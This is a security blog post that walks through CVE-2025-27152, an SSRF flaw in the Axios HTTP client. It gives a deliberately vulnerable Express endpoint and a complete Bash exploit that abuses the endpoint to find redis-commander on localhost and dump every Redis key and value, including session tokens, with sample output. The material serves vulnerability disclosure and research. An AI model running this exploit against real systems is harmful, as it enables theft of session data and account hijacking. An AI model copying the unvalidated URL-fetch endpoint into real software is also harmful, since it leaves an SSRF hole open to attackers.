Credit
CVE-2025-27152 builds on CVE-2024-39338, originally discovered by @jeffhacks, you can read his detailed write up here. The issue evolved through discussions in axios/axios#6463, highlighting the ongoing SSRF risks in Axios.
Overview
Server-side request forgery (SSRF) enables attackers to manipulate a server into making unintended HTTP requests to internal resources.
This post explores CVE-2025-27152, an SSRF vulnerability in Axios, a widely-used HTTP client for Node.js and browsers.
In Axios v1.8.1, absolute URLs (e.g., http://attacker.com
) bypass the configured baseURL
, allowing requests to unintended destinations.
I'll demonstrate this with a minimally-contrived proof-of-concept using common Node.js development tools — Express, Redis, and redis-commander
— to reflect a practical development scenario.
Clone it from GitHub to follow along.
Vulnerable server setup
Here's a minimal Node.js server using Express and axios@1.8.0
(vulnerable to CVE-2025-27152):
import express, { Request, Response } from "express";
import axios from "axios";
const app = express();
const PORT = 3000;
app.use(express.urlencoded({ extended: true }));
const client = axios.create({
baseURL: "https://api.example.com", // ignored
timeout: 5000,
});
// Vulnerable endpoint for SSRF
app.get("/fetch-url", async (req: Request, res: Response): Promise<void> => {
const { url } = req.query;
if (!url) {
res.status(400).send("Missing URL");
return;
}
try {
const response = await client.get(url as string);
res.send(response.data);
} catch (error) {
res.status(500).send(`Error fetching URL: ${(error as Error).message}`);
}
});
app.listen(PORT, () => {
console.log(`Server listening on port ${PORT}`);
});
This setup reflects a common development environment: an Express app with a /fetch-url
endpoint, a local Redis instance (port 6379) seeded with fake session data via @faker-js/faker
, and redis-commander
(port 8081) for web-based Redis management, running without authentication — a frequent default in development setups.
Exploit
This Bash script exploits the SSRF flaw to extract Redis data via redis-commander
. It requires curl
, jq
, and sed
, and can be run with ./exploit.sh
or ./exploit.sh ./output.txt
.
#!/bin/sh
TARGET="http://localhost:3000/fetch-url"
OUTPUT_FILE="${1:-/dev/stdout}"
PORTS="8080 8081 8082"
FOUND_PORT=""
echo "Starting exploit... Output will be written to $OUTPUT_FILE"
# Guess the port
for port in $PORTS; do
echo "Testing port $port..." >> "$OUTPUT_FILE"
TEST_URL="http://localhost:$port/apiv2/keystree/R%3Alocalhost%3A6379%3A0/"
RESPONSE=$(curl -s "$TARGET?url=$TEST_URL")
if echo "$RESPONSE" | grep -q "data"; then
FOUND_PORT="$port"
echo "Found redis-commander on port $FOUND_PORT" >> "$OUTPUT_FILE"
break
fi
done
if [ -z "$FOUND_PORT" ]; then
echo "Error: Could not find redis-commander on ports $PORTS" >> "$OUTPUT_FILE"
exit 1
fi
CONNECTION="R%3Alocalhost%3A6379%3A0"
# Fetch top-level key prefixes
echo "Fetching top-level keys..." >> "$OUTPUT_FILE"
TOP_LEVEL_URL="http://localhost:$FOUND_PORT/apiv2/keystree/$CONNECTION/"
TOP_LEVEL_RESPONSE=$(curl -s "$TARGET?url=$TOP_LEVEL_URL")
echo "Sent: $TARGET?url=$TOP_LEVEL_URL" >> "$OUTPUT_FILE"
echo "Response: $TOP_LEVEL_RESPONSE" >> "$OUTPUT_FILE"
# Extract key prefixes
PREFIXES=$(echo "$TOP_LEVEL_RESPONSE" | jq -r '.data[].keyName')
# For each prefix, fetch children
for prefix in $PREFIXES; do
echo "Fetching children for prefix: $prefix" >> "$OUTPUT_FILE"
ENCODED_PREFIX=$(echo "$prefix" | sed 's/:/%3A/g')
CHILDREN_URL="http://localhost:$FOUND_PORT/apiv2/keystree/$CONNECTION/$ENCODED_PREFIX?absolute=false"
CHILDREN_RESPONSE=$(curl -s "$TARGET?url=$CHILDREN_URL")
echo "Sent: $TARGET?url=$CHILDREN_URL" >> "$OUTPUT_FILE"
echo "Response: $CHILDREN_RESPONSE" >> "$OUTPUT_FILE"
# Extract child keys
FULL_KEYS=$(echo "$CHILDREN_RESPONSE" | jq -r '.data[].id' | sed "s/^R:localhost:6379:0://")
# Fetch value for each full key
for key in $FULL_KEYS; do
echo "Fetching value for key: $key" >> "$OUTPUT_FILE"
ENCODED_KEY=$(echo "$key" | sed 's/:/%3A/g')
VALUE_URL="http://localhost:$FOUND_PORT/apiv2/key/$CONNECTION/$ENCODED_KEY"
VALUE_RESPONSE=$(curl -s "$TARGET?url=$VALUE_URL")
echo "Sent: $TARGET?url=$VALUE_URL" >> "$OUTPUT_FILE"
echo "Response: $VALUE_RESPONSE" >> "$OUTPUT_FILE"
done
done
echo "Exploit complete." >> "$OUTPUT_FILE"
The SSRF vulnerability in Axios v1.8.1 allows an attacker to send HTTP requests to internal services, such as redis-commander
. Here's how the exploit works:
Step 1: Port guessing
The script probes common ports to locate redis-commander
. In practice, attackers would perform reconnaissance to refine this — a simplification for this proof-of-concept.
PORTS="8080 8081 8082"
for port in $PORTS; do
TEST_URL="http://localhost:$port/apiv2/keystree/R%3Alocalhost%3A6379%3A0/"
RESPONSE=$(curl -s "$TARGET?url=$TEST_URL")
if echo "$RESPONSE" | grep -q "data"; then
FOUND_PORT="$port"
break
fi
done
Step 2: Crawling Redis data
It then crawls the redis-commander
API to dump keys and values, leveraging the SSRF to bypass network restrictions.
- List keys: fetches top-level prefixes (e.g.,
sess:
,config:
) from/apiv2/keystree/R%3Alocalhost%3A6379%3A0/
. - Fetch children: retrieves sub-keys (e.g.,
admin
undersess:
) from/apiv2/keystree/R%3Alocalhost%3A6379%3A0/sess%3A?absolute=false
. - Get values: extracts values (e.g., session data) from
/apiv2/key/R%3Alocalhost%3A6379%3A0/sess%3Aadmin
.
The script outputs to a file (or console) specified by a CLI argument:
OUTPUT_FILE="${1:-/dev/stdout}"
echo "Response: $VALUE_RESPONSE" >> "$OUTPUT_FILE"
Sample output
Starting exploit... Output will be written to ./output.txt
Testing port 8080...
Testing port 8081...
Found redis-commander on port 8081
Fetching top-level keys...
Sent: http://localhost:3000/fetch-url?url=http://localhost:8081/apiv2/keystree/R%3Alocalhost%3A6379%3A0/
Response: {"data":[{"id":"R:localhost:6379:0:config:","text":"config:* (3)",...}]}
Fetching children for prefix: sess:
Sent: http://localhost:3000/fetch-url?url=http://localhost:8081/apiv2/keystree/R%3Alocalhost%3A6379%3A0/sess%3A?absolute=false
Response: {"data":[{"id":"R:localhost:6379:0:sess:admin","text":"admin",...}]}
Fetching value for key: sess:admin
Sent: http://localhost:3000/fetch-url?url=http://localhost:8081/apiv2/key/R%3Alocalhost%3A6379%3A0/sess%3Aadmin
Response: {"ttl":-1,"key":"sess:admin","type":"string","value":"{\"userId\":\"user:admin\",\"token\":\"jwt_abc123xyz789def456ghi789jkl012\",...}"}
...
Exploit complete.
This exposes all key/value pairs including session data, enabling potential session hijacking.
Other possibilities
This proof-of-concept focuses on data exfiltration, but SSRF could also target other internal services (e.g., metadata endpoints in cloud environments), depending on the target's configuration.
Conclusion
CVE-2025-27152 highlights Axios's SSRF risks in a realistic dev setup. Explore the proof-of-concept on GitHub and feel free to adapt it for your own research. Always validate external inputs to mitigate such flaws.